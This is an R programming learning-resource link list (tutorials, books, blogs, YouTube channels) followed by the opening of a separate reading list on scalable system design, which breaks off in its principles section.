- [Descriptive Statistics](https://rcompanion.org/handbook/C_02.html) - A tutorial of descriptive statistics which are used to summarize data in a way that provides insight into the information contained in the data. Author: Salvatore S. Mangiafico.
- [Descriptive statistics in R](https://statsandr.com/blog/descriptive-statistics-in-r/) - This article explains how to compute the main descriptive statistics in R and how to present them graphically. Author - Antoine Soetewey.
- [Essential Math for Data Science](https://medium.com/s/story/essential-math-for-data-science-why-and-how-e88271367fbd) - An article discussing the key mathematical topics to master to become a better data scientist. Author: Tirthajyoti Sarkar.
- [Gallery of Statistical Distributions](https://www.itl.nist.gov/div898/handbook/eda/section3/eda366.htm) - Author: NIST/SEMATECH.
- [Plotting distributions (ggplot2)](http://www.cookbook-r.com/Graphs/Plotting_distributions_(ggplot2)/) - A tutorial for plotting a distribution of data. Author: Winston Chang.
### Shiny
- [Awesome R Shiny](https://github.com/grabear/awesome-rshiny) - A curated list of resources for R Shiny. Author: Rob Gilmore.
- [Building Shiny Applications with R Tutorial (Deprecated)](https://rstudio.github.io/shiny/tutorial/#) - Introductory tutorial to Shiny. Note, this tutorial is deprecated. Author: RStudio.
- [Building Shiny apps - an interactive tutorial](https://deanattali.com/blog/building-shiny-apps-tutorial/) - This tutorial is a hands-on activity complement to a set of [presentation slides](https://docs.google.com/presentation/d/1dXhqqsD7dPOOdcC5Y7RW--dEU7UfU52qlb0YD3kKeLw/edit) for learning how to build Shiny apps. Author: Dean Attali.
- [How to Start with Shiny](https://vimeo.com/rstudioinc/review/131218530/212d8a5a7a) - Detailed introductory video tutorial. Author: Garrett Grolemund.
- [Learn Shiny](https://shiny.rstudio.com/tutorial/) - The video and written tutorials on this page are primarily designed for users who are new to Shiny and want a guided introduction. Author: RStudio.
- [Shiny Articles](https://shiny.rstudio.com/articles/) - Various articles covering individual Shiny topics at a more advanced level. Author: RStudio.
### Spatial
- [An Introduction to Choropleth maps in R](https://rstudio-pubs-static.s3.amazonaws.com/324400_69a673183ba449e9af4011b1eeb456b9.html) - Author: Henry Cann.
- [Getting latitude & longitude for any address](https://discourse.looker.com/t/get-latitude-longitude-for-any-location-through-google-sheets-and-plot-these-in-looker/5402) - Author: Brecht Vermeire.
- [Map Plots Created With R And Ggmap](https://www.littlemissdata.com/blog/maps) - Author: Laura Ellis.
- [Plot Spatial Data / Shapefiles in R](https://www.youtube.com/watch?v=uZtto0cYjZM) - From the "math et al" YouTube channel.
### Viz
- [A ggplot2 Tutorial for Beautiful Plotting in R](https://cedricscherer.netlify.app/2019/08/05/a-ggplot2-tutorial-for-beautiful-plotting-in-r/) - A comprehensive and easy to follow tutorial that covers working with axes, titles, legends, backgrounds, grid lines, margins, multi-panel plots, colors, themes, lines, text, coordinates, chart types, ribbons, smoothings, and interactive plots. Author: Cédric Scherer.
- [Awesome ggplot2](https://github.com/erikgahner/awesome-ggplot2) - A curated list of awesome ggplot2 tutorials, packages etc. Author: Erik Gahner Larsen.
- [Chart Suggestions — A thought-starter on choosing the way to show your data](https://extremepresentation.typepad.com/files/choosing-a-good-chart-09.pdf) - Author: Andrew Abela, Ph.D.
- [Color Hex Color Codes](https://www.color-hex.com/) - Author: Color-Hex.
- [Combine Multiple GGPlots into a Figure](https://www.datanovia.com/en/lessons/combine-multiple-ggplots-into-a-figure/) - Author: Alboukadel Kassambara.
- [Coolors](https://coolors.co/) - The super fast color schemes generator! Create the perfect palette or get inspired by thousands of beautiful color schemes. Features include color picker, pick palette from photo, create a collage, make your own gradient palette, create a gradient, contrast checker, etc.
- [From Data to Viz](https://www.data-to-viz.com/) - From Data to Viz leads you to the most appropriate graph for your data. Author: Yan Holtz.
- [ggplot2 extensions - gallery](https://exts.ggplot2.tidyverse.org/gallery/) - Maintained by Daniel Emaasit.
- [ggplot2 - Modify components of a theme](https://ggplot2.tidyverse.org/reference/theme.html) - How to modify components of a theme in ggplot2. Author: the developers of Tidyverse.
- [Graphics in R with ggplot2](https://www.statsandr.com/blog/graphics-in-r-with-ggplot2/) - A detailed guide for the use of graphics within ggplot2. Author: Antoine Soetewey.
- [htmlwidgets for R](https://www.htmlwidgets.org/) - Showcase and gallery of the various interactive web visualizations you can build using R.
- [r-color-palettes](https://github.com/EmilHvitfeldt/r-color-palettes) - Comprehensive list of color palettes available in r. Author: Emil Hvitfeldt.
- [The Data Visualization Catalogue](https://datavizcatalogue.com/index.html) - The Data Visualization Catalogue is a project developed by Severino Ribecca to create a library of different information visualization types.
- [The Graphic Continuum](https://www.informationisbeautifulawards.com/showcase/611-the-graphic-continuum) - The Graphic Continuum shows the many different types of visualizations available to us when we encode and present data. Authors: Jonathan Schwabish, and Severino Ribecca.
- [The R Graph Gallery](https://www.r-graph-gallery.com/) - A collection of charts made with the R programming language. Author: Yan Holtz.
- [Time Based Heatmaps in R](https://www.littlemissdata.com/blog/heatmaps) - Author: Laura Ellis.
- [Top 50 ggplot2 Visualizations - The Master List (With Full R Code)](http://r-statistics.co/Top50-Ggplot2-Visualizations-MasterList-R-Code.html) - This tutorial helps you choose the right type of chart for your specific objectives and how to implement it in R using ggplot2. Author: Selva Prabhakaran.
### Web Scraping
- [Web Scraping Reference: Cheat Sheet for Web Scraping using R](https://github.com/yusuzech/r-web-scraping-cheat-sheet) - Guide, reference and cheatsheet on web scraping using rvest, httr and Rselenium. Author: [yifyan et al.](https://github.com/yusuzech)
### Wrangling
- [Data Wrangling Part 1: Basic to Advanced Ways to Select Columns](https://suzan.rbind.io/2018/01/dplyr-tutorial-1/) - Author: Suzan Baert.
- [Data Wrangling Part 2: Transforming your columns into the right shape](https://suzan.rbind.io/2018/02/dplyr-tutorial-2/) - Author: Suzan Baert.
- [Data Wrangling Part 3: Basic and more advanced ways to filter rows](https://suzan.rbind.io/2018/02/dplyr-tutorial-3/) - Author: Suzan Baert.
- [Data Wrangling Part 4: Summarizing and slicing your data](https://suzan.rbind.io/2018/04/dplyr-tutorial-4/) - Author: Suzan Baert.
### Uncategorized
- [Data.Table and Dplyr Tour](https://atrebas.github.io/post/2019-03-03-datatable-dplyr/#reshape-data) - A detailed comparison of R packages data.table and dplyr. Author: Atrebas.
- [data.table: A gentle introduction](https://atrebas.github.io/post/2020-06-17-datatable-introduction/) - A quick introduction to data.table. The main objective is to present the data.table syntax, showing how to perform basic, but essential, data wrangling tasks. Author: Atrebas.
- [Fakir - Create Fake Data in R for Tutorials](https://thinkr-open.github.io/fakir/) - Author: Colin Fay.
- [From base R to stringr](https://stringr.tidyverse.org/articles/from-base.html) - This vignette compares stringr functions to their base R equivalents to help users transitioning from using base R to stringr. Author: Sara Stoudt.
- [Help me help you: creating reproducible examples](https://www.youtube.com/watch?v=5gqksthQ0cM) - Making a great reprex is both an art and a science and this webinar will cover both aspects. A reprex makes a conversation about code more efficient and pleasant for all. This comes up whenever you ask someone for help, report a bug in software, or propose a new feature. The reprex package (https://reprex.Tidyverse.org) makes it especially easy to prepare R code as a reprex, in order to share on sites such as https://community.rstudio.com, https://github.com, or https://stackoverflow.com. Author: Jenny Bryan.
- [R - discoRd server](https://discord.gg/88uG5UVyE2) - Dedicated discoRd server with the following topic-based channels: `R-Main` for more general discussions, `R-Share` for showing off your data visuals, `General R Help` for asking questions and sharing learning resources, and `Topical Help/Discussion` for issues dealing with statistics, dbi, tidymodels, shiny, natural-science, social-science, bayesians, gis, and finance.
- [Subreddit - r/Rlanguage - R Programming Language](https://www.reddit.com/r/Rlanguage/new/) - A Reddit subreddit focused on implementing the R programming language for statistics and data science.
- [Subreddit - r/programming - The R Project for Statistical Computing](https://www.reddit.com/r/rprogramming/) - A Reddit subreddit focused on using R for statistical computing.
- [Syntax equivalents: base R vs Tidyverse](https://tavareshugo.github.io/data_carpentry_extras/base-r_tidyverse_equivalents/base-r_tidyverse_equivalents.html) - A detailed comparison of base R and tidyverse. Author: Hugo Tavares.
- [The ultimate R data.table cheat sheet](https://www.infoworld.com/article/3575086/the-ultimate-r-datatable-cheat-sheet.html) - Find code for dozens of data tasks in this searchable cheat sheet of R data.table and Tidyverse code. Author: Sharon Machlis.
## Blogs
- [Alex Cookson](https://www.alexcookson.com/) - Alex Cookson loves making beautiful visualizations and easy-to-read walkthroughs of R concepts. He's particularly interested in data about media, like books, movies, and musicals.
- [Avery Robbins](https://www.avery-robbins.com) - Avery Robbins loves to learn and to share useful or awesome things that have benefited him personally. This website is a tool for him to actively do just that: share knowledge, ideas, and tips that are helpful.
- [Tony ElHabr](https://tonyelhabr.rbind.io/) - Tony ElHabr is passionate mostly about energy markets and sports analytics. His blog provides detailed tutorials, project explanations, and presentations.
- [Cédric Scherer](https://cedricscherer.netlify.app/) - Cédric Scherer is a graduated computational ecologist and freelance data visualization expert who has created visualizations across all disciplines, purposes, and styles and regularly teaches data visualization principles, R, and ggplot2.
- [Data Imaginist](https://www.data-imaginist.com/) - Thomas Lin Pedersen is a data scientist turned software engineer who focuses on improving researchers’ interactions with the data they produce.
- [Data meets Narrative](http://www.rebeccabarter.com/blog/) - Rebecca Barter enjoys making sense of complex, messy and sometimes nonsensical datasets, such as electronic health records, and insurance claims. Her dual passions are explaining “seemingly complicated” concepts to others in plain English, and exploring and uncovering the stories that underlie complex datasets.
- [HighlandR](https://johnmackintosh.net/) - John Mackintosh's blog is a place for him to showcase demonstrations or workshops, notes he's learned at work, chart makeovers, and techniques and technology that he doesn't currently use in his role.
- [Julia Silge](https://juliasilge.com/blog/) - Julia Silge is a data scientist and software engineer at RStudio where she work on open source modeling tools. She is passionate about making beautiful charts, the statistical programming language R, Jane Austen, black coffee, and red wine.
- [Musings on R](https://martinctc.github.io/blog/) - A blog on all things R and Data Science by Martin Chan. Topics covered include comparing dplyr and data.table, Shiny apps, ggplot, data cleaning, using RStudio, interviews with other R users/data scientists, and web scraping.
- [rweekly](https://rweekly.org/about) - Weekly Updates from the Entire R Community by Bruce Zhao, Colin Fay, Eric Nantz, Hao Zhu, Jon Calder, Jonathan Carroll, Maëlle Salmon, Ryo Nakagawara, and Wolfram Qin.
- [r-bloggers](https://www.r-bloggers.com/) - R-Bloggers.com was created by Tal Galili and is a blog aggregator of content contributed by bloggers who write about R (in English). The site helps R bloggers and users to connect and follow the R blogosphere.
- [Ryo Nakagawara](https://ryo-n7.github.io/) - Ryo Nakagawara is a Data Scientist and has been doing work as both a reporting analyst and a software developer in R and SQL to improve ACDI and VOCA data pipelines, create R packages, reproducible reports, dashboards, and Shiny apps to communicate how his projects worldwide are progressing.
- [Statistics Globe](https://statisticsglobe.com/) - Joachim Schork started this platform to share his statistical know-how and to improve his own statistical skills by discussing with other statisticians and programmers.
- [Stats and R](https://www.statsandr.com/) - Through his blog, Antoine Soetewey (PhD in statistics) aims at helping academics and professionals working with data to grasp important statistical concepts, and shows how to apply them in R.
## Books
- [A Sufficient Introduction to R](https://dereksonderegger.github.io/570L/) - This book is intended to guide people that are completely new to programming along a path towards a useful skill level using R. Author: Derek L. Sonderegger.
- [An Introduction to Statistical Learning](http://faculty.marshall.usc.edu/gareth-james/ISL/ISLR%20Seventh%20Printing.pdf) - This book provides an introduction to statistical learning methods. Authors: Gareth James, Daniela Witten, Trevor Hastie and Robert Tibshirani.
- [Advanced R](https://adv-r.hadley.nz/introduction.html) - This book is designed for R programmers who want to deepen their understanding of the language, and programmers experienced in other languages who want to understand what makes R different and special. [Exercise Solutions](https://advanced-r-solutions.rbind.io/) Author: Hadley Wickham.
- [An Introduction to R](https://cran.r-project.org/doc/manuals/r-release/R-intro.pdf) - This introduction to R is derived from an original set of notes describing the S and S-Plus environments written in 1990–2 by Bill Venables and David M. Smith when at the University of Adelaide.
- [An Introduction to R](https://intro2r.com/) - The aim of this book is to introduce you to using R, a powerful and flexible interactive environment for statistical computing and research. Authors: Alex Douglas, Deon Roos, Francesca Mancini, Ana Couto & David Lusseau
- [Answering Questions with Data](https://crumplab.github.io/statistics/) - This is a free textbook teaching introductory statistics for undergraduates in Psychology. The textbook was written with math-phobia in mind and attempts to reduce the phobia associated with arithmetic computations. Author: Matthew J. C. Crump.
- [Data Science in a Box](https://datasciencebox.org/index.html) - The core content of the course focuses on data acquisition and wrangling, exploratory data analysis, data visualization, inference, modelling, and effective communication of results.
- [Data Science in Education Using R](https://datascienceineducation.com/) - This book is primarily about learning to use R as a tool for data science in education. Authors: Ryan A. Estrellado, Emily A. Bovee, Jesse Mostipak, Joshua M. Rosenberg, and Isabella C. Velásquez.
- [Efficient R programming](https://csgillespie.github.io/efficientR/) - Efficient R Programming is about increasing the amount of work you can do with R in a given amount of time. It’s about both computational and programmer efficiency. Authors: Colin Gillespie, Robin Lovelace.
- [Engineering Production-Grade Shiny Apps](https://engineering-shiny.org/) - This book covers the process of building a Shiny application that will later be sent to production. Authors: Colin Fay, Sébastien Rochette, Vincent Guyader, Cervan Girard.
- [Exploratory Data Analysis with R](https://bookdown.org/rdpeng/exdata/) - This book covers the essential exploratory techniques for summarizing data with R. These techniques are typically applied before formal modeling commences and can help inform the development of more complex statistical models. Author: Roger D. Peng.
- [Forecasting: Principles and Practice](https://otexts.com/fpp3/) - This textbook is intended to provide a comprehensive introduction to forecasting methods and to present enough information about each method for readers to be able to use them sensibly. Authors: Rob J Hyndman and George Athanasopoulos.
- [Geocomputation with R](https://geocompr.robinlovelace.net/) - This book is about using the power of computers to do things with geographic data. It teaches a range of spatial skills, including reading, writing and manipulating geographic data; making static and interactive maps; applying geocomputation to solve real-world problems; and modeling geographic phenomena. Authors: Robin Lovelace, Jakub Nowosad, Jannes Muenchow.
- [ggplot2: Elegant Graphics for Data Analysis](https://ggplot2-book.org/index.html) - This book provides a hands-on introduction to ggplot2 with lots of example code and graphics. It also explains the grammar on which ggplot2 is based. Author: Hadley Wickham.
- [Happy Git and GitHub for the useR](https://happygitwithr.com/) - Happy Git provides opinionated instructions on how to install Git and get it working smoothly with GitHub, in the shell and in the RStudio IDE, develop a few key workflows that cover your most common tasks, and integrate Git and GitHub into your daily work with R and R Markdown. Authors: Jenny Bryan, the STAT 545 TAs, Jim Hester.
- [Introduction to Data Science - Data Analysis and Prediction Algorithms with R](https://rafalab.github.io/dsbook/) - This book started out as the class notes used in the HarvardX Data Science Series. It introduces concepts and skills that can help you tackle real-world data analysis challenges. It covers concepts from probability, statistical inference, linear regression, and machine learning. It also helps you develop skills such as R programming, data wrangling with dplyr, data visualization with ggplot2, algorithm building with caret, file organization with UNIX/Linux shell, version control with Git and GitHub, and reproducible document preparation with knitr and R markdown. Author: Professor Rafael A. Irizarry.
- [Introduction to Probability and Statistics Using R](http://www.atmos.albany.edu/facstaff/timm/ATM315spring14/R/IPSUR.pdf) - The book can be subdivided into three basic parts. The first part includes the introductions and elementary descriptive statistics; I want the students to be knee-deep in data right out of the gate. The second part is the study of probability, which begins at the basics of sets and the equally likely model, journeys past discrete/continuous random variables, and continues through to multivariate distributions. The chapter on sampling distributions paves the way to the third part, which isinferential statistics. This last part includes point and interval estimation, hypothesis testing, and finishes with introductions to selected topics in applied statistics. Author: G. Jay Kerns.
- [Introduction to R & Spatial Data with Raster and Terra](https://rspatial.org/intr/index.html) - This document provides a concise introduction to R. It emphasizes what you need to know to be able to use the language in any context. Author: Professor Robert Hijmans.
- [JavaScript for R](https://book.javascript-for-r.com/) - The ultimate aim of this work is to demonstrate to the reader the many great benefits one can reap by inviting JavaScript into their data science workflow. Author: John Coene.
- [Learning Statistics with R](https://learningstatisticswithr.com/) - Learning Statistics with R covers the contents of an introductory statistics class, as typically taught to undergraduate psychology students, focusing on the use of the R statistical software. Author: Danielle Navarro.
- [Mastering Shiny](https://mastering-shiny.org/) - This is the online version of Mastering Shiny, a book currently under early development and intended for a late 2020 release. This book complements the [Shiny online documentation](https://shiny.rstudio.com/) and is intended to help app authors develop a deeper understanding of Shiny. Author: Hadley Wickham. [Mastering Shiny Exercise solutions](https://mastering-shiny-solutions.org/index.html)
- [Modern R with the tidyverse](https://b-rodrigues.github.io/modern_R/) - The idea of Chapters 1 to 7 is to make you efficient with R as quickly as possible, especially if you already have prior programming knowledge. Starting with Chapter 8 you will learn more advanced topics, especially programming with R. Author: Bruno Rodrigues.
- [Modern Statistics with R](http://www.modernstatisticswithr.com/) - From wrangling and exploring data to inference and predictive modelling. The book includes plenty of examples and more than 200 exercises with worked solutions. Author: Måns Thulin.
- [Practical Data Science with R](https://www.manning.com/books/practical-data-science-with-r-second-edition#toc) - The intent of this book is to present data science from a pragmatic, practice-oriented viewpoint. The book concentrates on the process of data science, from the planning stages of a project, through the data collection and exploration, to the modeling, and finally to deployment and the sharing of results. Authors: Nina Zumel and John Mount.
- [Practical Regression and Anova using R](https://cran.r-project.org/doc/contrib/Faraway-PRA.pdf) - The emphasis of this text is on the practice of regression and analysis of variance. The objective is to learn what methods are available and more importantly, when they should be applied. Author: Julian Faraway.
- [Practicals and Exercises](http://www.columbia.edu/~cjd11/charles_dimaggio/DIRE/resources/R/practicalsBookNoAns.pdf) - This series of exercises reviews some of the content discussed during the author's lectures, and introduces some other basic concepts about working with data in R. Author: Charles DiMaggio, PhD.
- [Quantitative Politics with R](http://qpolr.com/qpolr.pdf) - The aim of this book is to provide an easily accessible introduction to R for the
collection, study and presentation of different types of political data. Authors: Erik Gahner Larsen and Zoltán Fazekas.
- [R Cookbook, 2nd Edition](https://rc2e.com/index.html) - This book is full of how-to recipes, each of which solves a specific problem. The recipe includes a quick introduction to the solution followed by a discussion that aims to unpack the solution and give you some insight into how it works. Authors: James (JD) Long and Paul Teetor.
- [R for Data Science](https://r4ds.had.co.nz/) - This book will teach you how to do data science with R. You will learn how to get your data into R, get it into the most useful structure, transform it, visualize it and model it. [Exercise Solutions](https://jrnold.github.io/r4ds-exercise-solutions/) Authors: Garrett Grolemund and Hadley Wickham.
- [R Packages](http://r-pkgs.had.co.nz/) - In this book you will learn how to turn your code into packages that others can easily download and use. Author: Hadley Wickham.
- [R Programming for Data Science](https://leanpub.com/rprogramming) - This book brings the fundamentals of R programming to you, using the same material developed as part of the industry-leading Johns Hopkins Data Science Specialization. Author: Roger Peng.
- [R Tutorial – Be a Data Science rock star with R](https://data-flair.training/blogs/r-tutorial/) - A tour of the R programming language that explores its different and essential concepts. This R DataFlair Tutorial Series is designed to help beginners to get started with R and experienced to brush up their R programming skills and gain perfection in the language.
- [Statistical Inference via Data Science](https://moderndive.com/) - This is intended to be a gentle introduction to the practice of analyzing data and answering questions using data the way data scientists, statisticians, data journalists, and other researchers would. Authors: Chester Ismay and Albert Y. Kim.
- [Supervised Machine Learning for Text Analysis in R](https://smltar.com/) - This book focuses on supervised or predictive modeling for text, using text data to make predictions about the world around us. Authors: Emil Hvitfeldt and Julia Silge.
- [Text Mining with R](https://www.tidytextmining.com/) - This book serves as an introduction of text mining using the tidytext package and other tidy tools in R. Authors: Julia Silge and David Robinson.
- [The Art of R Programming](http://diytranscriptomics.com/Reading/files/The%20Art%20of%20R%20Programming.pdf) - This book is for those who wish to learn about developing software in R. Author: Norman Matloff.
- [The Book of R](https://web.itu.edu.tr/~tokerem/The_Book_of_R.pdf) - The aim of The Book of R: A First Course in Programming and Statistics is to provide a relatively gentle yet informative exposure to the statistical software environment R, alongside some common statistical analyses, so that readers may have a solid foundation from which to eventually become experts in their own right. [Exercise solutions](https://nostarch.com/bookofr) Author: Tilman M. Davies.
- [The R Inferno](http://www.burns-stat.com/pages/Tutor/R_inferno.pdf) - A book about trouble spots, oddities, traps, and glitches in R. Author: Patrick Burns.
- [The R Language](https://stat.ethz.ch/R-manual/R-patched/doc/html/) - An introduction to R written by the authors of the R language.
- [Tidy Modeling with R](https://www.tmwr.org/) - This book is a guide to using a new collection of software in the R programming language for model building.
## Communities of Practice
> A community of practice is a group of people who share a concern or a passion for something they do and learn how to do it better as they interact regularly.
- [TidyTuesday](https://github.com/rfordatascience/tidytuesday) - TidyTuesday is a weekly data project aimed at the R ecosystem with an emphasis placed on understanding how to summarize and arrange data to make meaningful charts.
- [R for Data Science (R4DS) Online Learning Community](https://www.rfordatasci.com/) - Founded by Jessie Mostipak (@kierisi) to create a supportive and responsive online space for learners and mentors to gather and work through the R for Data Science book by Garrett Grolemund and Hadley Wickham. Grown into a community of R learners at all skill levels working together to improve their skills.
## Podcasts
- [Not so Standard Deviations](http://nssdeviations.com/) - A data science podcast where Roger Peng and Hilary Parker talk about the latest in data science and data analysis in academia and industry.
- [The R-Podcast](https://r-podcast.org/) - Practical advice on how to take advantage of R to accomplish innovative and robust data analyses. Hosted by Eric Nantz.
## YouTube
- [Andrew Couch](https://www.youtube.com/channel/UCnwYO3Sz_emBTC1sTZ6TlsQ) - Topics include modeling, creating functions, dashboards, and forecasting.
- [Ben Stenhaug](https://www.youtube.com/user/benastenhaug/videos) - Topics include saving and reading data, map functions in purrr, t-tests, item response theory, and the basics of R and the tidyverse.
- [Cédric Scherer](https://www.youtube.com/playlist?list=PLd6eTXMmV3X-4-pHkZSJwHRACzSSyeT9T) - A collection of talks and seminars about R-related topics such as ggplot2 or Shiny, and data visualization in general.
- [Colin Quirk](https://www.youtube.com/channel/UC-vtwz7ueU2dtnHk5e-WblA) - Topics include regular expressions, data types, Shiny, and gganimate.
- [Data Analysis and Visualization Using R](https://www.youtube.com/channel/UClLf9MZuUy89IwGtRHC0RzQ) - Topics for the online course Data Analysis and Visualization Using R.
- [Data Science with Tom](https://www.youtube.com/channel/UCb5aI-GwJm3ZxlwtCsLu78Q) - Topics include time series, analyzing word relationships with ggraph and tidytext, and tidymodels.
- [David Jablonski](https://www.youtube.com/channel/UCzE7zgPikKvVUJPBKrndHMA) - The UC Berkeley R Bootcamp playlists include videos on R basics, handling data, performing calculations, programming, graphics, workflows, and statistics.
- [David Robinson](https://www.youtube.com/channel/UCeiiqmVK07qhY-wvg3IZiZQ) - Topics include graphing for EDA, data manipulation, animated mapping, visualization, text mining, time series, forecasting, regression, bootstrapping, package development, network graphs, ANOVA, JSON, simulation, survival analysis, and tidymetrics. Click [here](https://github.com/dgrtwo/data-screencasts/tree/master/screencast-annotations) for detailed TidyTuesday screencast annotations.
- [Dean Attali](https://www.youtube.com/c/DAattali/videos) - Shiny, including several videos on debugging Shiny.
- [Dragonfly Statistics](https://www.youtube.com/c/DragonflyStatistics/videoss) - Topics include numerical computing, generating random walks, markov chains, encoding categorical variables, probability, correlation plots, feature engineering, time series, binary classifiers, models, data.table, confusion matrices, machine learning, geocoding, summary statistics, and simulation.
- [IDG TECHtalk](https://www.youtube.com/playlist?list=PL7D2RMSmRO9JOvPC1gbA8Mc3azvSfm8Vv) - Do More with R playlist includes tutorials on shiny, data.table, getting API data, using Git and Github with R, writing your own packages, run Python in R code, RStudio addins and keyboard shortcuts, dashboards and flexdashboards.
- [Julia Silge](https://www.youtube.com/channel/UCTTBgWyJl2HrrhQOOc710kA) - Topics include predictive text modeling, impute missing data, tidymodels, sentiment analysis, multinomial classification, principal component analysis, data preprocessing and resampling, and multinomial classification.
- [Lander Analytics](https://www.youtube.com/channel/UC2-hKemnrmVCH_29duyJ26A/videos) - In-depth talks by different experts on a wide variety of topics.
- [MarinStatsLectures](https://www.youtube.com/c/marinstatlectures/featured) - Topics include descriptive statistics, ANOVA, bootstrapping, linear regression, bivariate analysis, and probability distributions.
- [Numyard](https://www.youtube.com/c/TheLearnR/videos) - Topics include working with dataframes, for loops, basic math, vectors, lists, creating functions, data types, and random sampling.
- [R Programming 101](https://www.youtube.com/c/RProgramming101/featured) - This channel provides teaching videos on data analysis and statistical analysis using R programming. The teaching videos include subjects like data cleaning, data manipulation, data visualization, statistical analysis, and machine learning and AI (artificial intelligence).
- [Richard Webster](https://www.youtube.com/channel/UC5ktyacv_aPSBmKB7uX5Piw/videos) - Topics include the paste function, the apply family of functions, while and for loops, conditional statements, visualization, removing NAs, and combining data.
- [RichardOnData](https://www.youtube.com/playlist?list=PLOKCg4WX8ZG4nboHnOgA8PJxGWnO4csiZ) - The R playlist includes videos on manipulating data with dplyr, visualizing data with ggplot2 and ggThemeAssist, data types and structures, important base r functions, handling datetimes with lubridate, conquering factors with forcats, manipulating text with stringr.
- [Shiny Developer Series](https://www.youtube.com/c/ShinyDeveloperSeries/videos) - The goals of the Shiny Developer Series are to showcase the innovative applications and packages in the ever-growing Shiny ecosystem, as well as the brilliant developers behind them!
- [Simplilearn](https://www.youtube.com/playlist?list=PLEiEAq2VkUUKAw0aAJ1W4jpZ1q9LpX4yG) - The R Programming for Beginners playlist includes videos on data science, charting, data visualization, algorithms, business analytics, regression, random forest, SVM, clustering, time series, modeling, and analytical techniques.
- [Statistics Globe](https://www.youtube.com/channel/UCyHEww8_SCdxZvEnkCfi55w) - A collection of short but detailed tutorials on how to work through common problems you will face while using R. Topics include data formatting, reordering data, strings, and ggplot2.
- [StatistikinDD](https://www.youtube.com/c/StatistikinDD/featured) - Playlists on Efficient R Programming (e. g. running R code in parallel), Visualization, Regression Analyses.
- [StatQuest with Josh Starmer](https://www.youtube.com/playlist?list=PLblh5JKOoLUJJpBNfk8_YadPwDTO2SCbx) - The Statistics and Machine Learning in R playlist deals with principal component analysis, random forest, regression, ROC and AUC, and ridge, lasso and elastic-net.
- [TidyX](https://www.youtube.com/channel/UCP8l94xtoemCH_GxByvTuFQ) - TidyX is a screen cast where the hosts select code from the TidyTuesday project and go through their code line-by-line, explaining what they did and how the functions they used work. They also break down the visualizations they create and talk about how to apply similar approaches to other data sets. The objective is to help more people learn R and get involved in the TidyTuesday community.
## Contributing
- Your contributions are always welcome! Please visit our [contributing.md](https://github.com/iamericfletcher/r-learning-resources/blob/main/contributing.md) to learn how to contribute to this list.
[Back to Top](#contents)
|
[](http://awesome-scalability.com/)
An updated and organized reading list for illustrating the patterns of scalable, reliable, and performant large-scale systems. Concepts are explained in the articles of prominent engineers and credible references. Case studies are taken from battle-tested systems that serve millions to billions of users.
#### If your system goes slow
> Understand your problems: scalability problem (fast for a single user but slow under heavy load) or performance problem (slow for a single user) by reviewing some [design principles](#principle) and checking how [scalability](#scalability) and [performance](#performance) problems are solved at tech companies. The section of [intelligence](#intelligence) are created for those who work with data and machine learning at big (data) and deep (learning) scale.
#### If your system goes down
> "Even if you lose all one day, you can build all over again if you retain your calm!" - Thuan Pham, former CTO of Uber. So, keep calm and mind the [availability](#availability) and [stability](#stability) matters!
#### If you are having a system design interview
> Look at some [interview notes](#interview) and [real-world architectures with completed diagrams](#architecture) to get a comprehensive view before designing your system on whiteboard. You can check some [talks](#talk) of engineers from tech giants to know how they build, scale, and optimize their systems. Good luck!
#### If you are building your dream team
> The goal of scaling team is not growing team size but increasing team output and value. You can find out how tech companies reach that goal in various aspects: hiring, management, organization, culture, and communication in the [organization](#organization) section.
#### Community power
> Contributions are greatly welcome! You may want to take a look at the [contribution guidelines](CONTRIBUTING.md). If you see a link here that is no longer maintained or is not a good fit, please submit a pull request!
> Many long hours of hard work have gone into this project. If you find it helpful, please share on Facebook, [on Twitter](https://ctt.ec/V8B2p), [on Weibo](http://t.cn/RnjFLCB), or on your chat groups! Knowledge is power, knowledge shared is power multiplied. Thank you!
## Content
- [Principle](#principle)
- [Scalability](#scalability)
- [Availability](#availability)
- [Stability](#stability)
- [Performance](#performance)
- [Intelligence](#intelligence)
- [Architecture](#architecture)
- [Interview](#interview)
- [Organization](#organization)
- [Talk](#talk)
- [Book](#book)
## Principle
* [Lessons from Giant-Scale Services - Eric Brewer, UC Berkeley & Google](https://people.eecs.berkeley.edu/~brewer/papers/GiantScale-IEEE.pdf)
* [Designs, Lessons and Advice from Building Large Distributed Systems - Jeff Dean, Google](https://www.cs.cornell.edu/projects/ladis2009/talks/dean-keynote-ladis2009.pdf)
* [How to Design a Good API & Why it Matters - Joshua Bloch, CMU & Google](https://www.infoq.com/presentations/effective-api-design)
* [On Efficiency, Reliability, Scaling - James Hamilton, VP at AWS](http://mvdirona.com/jrh/work/)
* [Principles of Chaos Engineering](https://www.usenix.org/conference/srecon17americas/program/presentation/rosenthal)
* [Finding the Order in Chaos](https://www.usenix.org/conference/srecon16/program/presentation/lueder)
* [The Twelve-Factor App](https://12factor.net/)
* [Clean Architecture](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html)
* [High Cohesion and Low Coupling](http://www.math-cs.gordon.edu/courses/cs211/lectures-2009/Cohesion,Coupling,MVC.pdf)
* [Monoliths and Microservices](https://medium.com/@SkyscannerEng/monoliths-and-microservices-8c65708c3dbf)
* [CAP Theorem and Trade-offs](http://robertgreiner.com/2014/08/cap-theorem-revisited/)
* [CP Databases and AP Databases](https://blog.andyet.com/2014/10/01/right-database)
* [Stateless vs Stateful Scalability](http://ithare.com/scaling-stateful-objects/)
* [Scale Up vs Scale Out](https://www.brianjgraf.com/scalability-scale-up-scale-out-care/)
* [Scale Up vs Scale Out: Hidden Costs](https://blog.codinghorror.com/scaling-up-vs-scaling-out-hidden-costs/)
* [ACID and BASE](https://neo4j.com/blog/acid-vs-base-consistency-models-explained/)
* [Blocking/Non-Blocking and Sync/Async](https://blogs.msdn.microsoft.com/csliu/2009/08/27/io-concept-blockingnon-blocking-vs-syncasync/)
* [Performance and Scalability of Databases](https://use-the-index-luke.com/sql/testing-scalability)
* [Database Isolation Levels and Effects on Performance and Scalability](http://highscalability.com/blog/2011/2/10/database-isolation-levels-and-their-effects-on-performance-a.html)
* [The Probability of Data Loss in Large Clusters](https://martin.kleppmann.com/2017/01/26/data-loss-in-large-clusters.html)
* [Data Access for Highly-Scalable Solutions: Using SQL, NoSQL, and Polyglot Persistence](https://docs.microsoft.com/en-us/previous-versions/msp-n-p/dn271399(v=pandp.10))
* [SQL vs NoSQL](https://www.upwork.com/hiring/data/sql-vs-nosql-databases-whats-the-difference/)
* [SQL vs NoSQL - Lesson Learned at Salesforce](https://engineering.salesforce.com/sql-or-nosql-9eaf1d92545b)
